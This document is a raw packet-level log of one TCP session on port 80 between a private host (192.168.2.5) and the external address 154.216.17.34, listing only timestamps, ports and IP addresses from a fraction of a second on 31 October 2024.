Oct 31, 2024 02:09:14.481736898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.481813908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.481813908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.481813908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.484986067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.484998941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485011101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485040903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485065937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485068083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485079050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485090017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485102892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485115051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485116959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485126019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485152006 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485172033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485249043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485260010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485270023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485282898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485292912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485296011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485302925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485330105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485338926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485461950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485472918 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485482931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485495090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485508919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485513926 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485521078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485553026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485615969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485618114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485629082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485668898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485673904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485686064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485697985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.485723019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.485742092 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486269951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486289024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486299038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486324072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486347914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486351013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486361980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486372948 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486398935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486411095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486592054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486624956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486634970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486640930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486665010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486679077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486685991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486699104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486709118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486737013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486763000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486763954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486774921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486785889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486809969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486836910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486862898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486876011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486885071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.486917019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.486942053 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487010002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487044096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487061024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487070084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487086058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487097979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487097979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487127066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487128019 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487137079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487155914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487170935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487389088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487406969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487418890 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487437010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487464905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487466097 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487477064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487488031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.487505913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.487531900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.522757053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522769928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522780895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522793055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522805929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522829056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522886992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522900105 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522911072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522923946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522928953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.522928953 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.522936106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.522938013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.522962093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.522985935 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.522989988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523009062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523020029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523039103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.523068905 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.523139000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523149014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523195982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.523205996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523217916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523252964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.523281097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.523332119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.537656069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537668943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537681103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537753105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.537767887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537779093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537791014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537802935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537822008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537833929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537846088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537857056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537899017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537913084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537925005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537935972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537946939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.537970066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.537970066 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.537981987 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538003922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538014889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538124084 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538140059 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538151979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538213968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538222075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538255930 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538280964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538304090 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538321018 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538333893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538336992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538346052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538355112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538366079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538367033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538378000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538389921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538423061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538440943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538461924 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538474083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538486004 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538496017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538516045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538532972 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.538827896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538836956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.538881063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549031973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549084902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549087048 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549097061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549135923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549163103 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549175978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549186945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549199104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549216986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549220085 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549230099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549238920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549241066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549263954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549273014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549287081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549290895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549324036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549403906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549415112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549424887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549438000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549449921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549451113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549474955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549494982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549559116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549573898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549583912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549607038 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549612045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549627066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549638033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549640894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549653053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549669981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549695969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549726963 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549738884 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549748898 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549777985 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549781084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549793005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549797058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549808025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549822092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.549825907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549845934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549870968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.549962044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550010920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550023079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550035954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550048113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550071955 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550091028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550240040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550250053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550261021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550271988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550288916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550307989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550348043 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550359964 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550374031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550384998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550395012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550416946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550443888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550447941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550458908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550472975 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550493002 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550519943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550585032 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550596952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550607920 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550621986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550632954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550640106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550657034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550657988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550672054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550677061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550683022 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550694942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.550709963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.550735950 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551065922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551078081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551089048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551101923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551114082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551115036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551126003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551136017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551151037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551167965 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551194906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551208973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551222086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551234961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551246881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551253080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551259995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551271915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551274061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551302910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551326990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551392078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551402092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551414013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551425934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551449060 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551474094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551496029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551541090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551569939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551582098 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551594973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551608086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551620007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551620007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551634073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551652908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551676989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551677942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551691055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551702976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551716089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551740885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551749945 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551783085 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.551831961 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551843882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.551884890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.552373886 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.552386045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.552397966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.552422047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.552434921 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574392080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574409008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574420929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574443102 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574466944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574469090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574477911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574511051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574588060 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574601889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574610949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574618101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574683905 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574697971 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574728012 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574753046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574764013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574764013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574778080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574791908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:14.574799061 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:14.574816942 CET	49982	80	192.168.2.5	154.216.17.34
